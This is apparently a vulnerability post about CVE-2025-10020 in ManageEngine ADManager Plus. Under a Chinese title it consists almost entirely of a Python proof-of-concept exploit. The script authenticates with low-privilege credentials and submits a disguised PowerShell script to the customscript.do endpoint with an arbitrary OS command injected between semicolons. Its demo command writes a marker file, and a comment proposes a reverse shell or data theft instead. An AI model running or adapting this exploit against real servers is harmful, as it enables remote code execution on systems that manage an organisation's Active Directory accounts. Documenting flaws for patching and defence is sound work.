CVE-2025-10020：ManageEngine ADManager Plus命令注入漏洞

# CVE-2025-10020 - ManageEngine ADManager Plus Custom Script Command Injection PoC # This PoC demonstrates the authenticated command injection vulnerability # in the Custom Script component of ADManager Plus (versions < 8024) import requests import sys # Target configuration TARGET_URL = "https://target-admanager:8080" USERNAME = "low_priv_user" PASSWORD = "password123" # Session management session = requests.Session() def login(session, target_url, username, password): """Authenticate to ADManager Plus with low-privilege credentials""" login_url = f"{target_url}/j_security_check" data = { "j_username": username, "j_password": password } resp = session.post(login_url, data=data, verify=False) # Check if login was successful if "ADManager" in resp.text and "Dashboard" in resp.text: print("[+] Login successful") return True print("[-] Login failed") return False def inject_command(session, target_url, command): """ Inject OS command via the Custom Script component. The Custom Script component fails to sanitize input properly, allowing arbitrary command execution on the server. """ # Endpoint for Custom Script functionality custom_script_url = f"{target_url}/customscript.do" # Malicious payload - command injection in script content field # The injected command will be executed with the application's privileges payload = { "scriptName": "legit_script_name", "scriptContent": f""" # Legitimate-looking AD management script Get-ADUser -Filter * # Injected command - executes arbitrary OS command ; {command} ; # Continue with more legitimate content Get-ADGroup -Filter * """, "scriptType": "powershell", "description": "Custom AD management script" } headers = { "Content-Type": "application/x-www-form-urlencoded", "Referer": f"{target_url}/customscript.do" } resp = session.post(custom_script_url, data=payload, headers=headers, verify=False) print(f"[+] Command injection payload submitted") print(f"[+] Response status: {resp.status_code}") return resp def main(): print("[*] CVE-2025-10020 - ManageEngine ADManager Plus Command Injection PoC") print("[*] Vulnerability: Authenticated Command Injection in Custom Script") print("[*] Affected: ADManager Plus versions before 8024\n") # Step 1: Authenticate with low-privilege credentials if not login(session, TARGET_URL, USERNAME, PASSWORD): sys.exit(1) # Step 2: Inject command to demonstrate RCE # Example: Create a reverse shell or exfiltrate data malicious_command = "whoami > C:\\Windows\\Temp\\pwned.txt" inject_command(session, TARGET_URL, malicious_command) print("[+] Exploit completed. Check the target system for execution confirmation.") if __name__ == "__main__": main()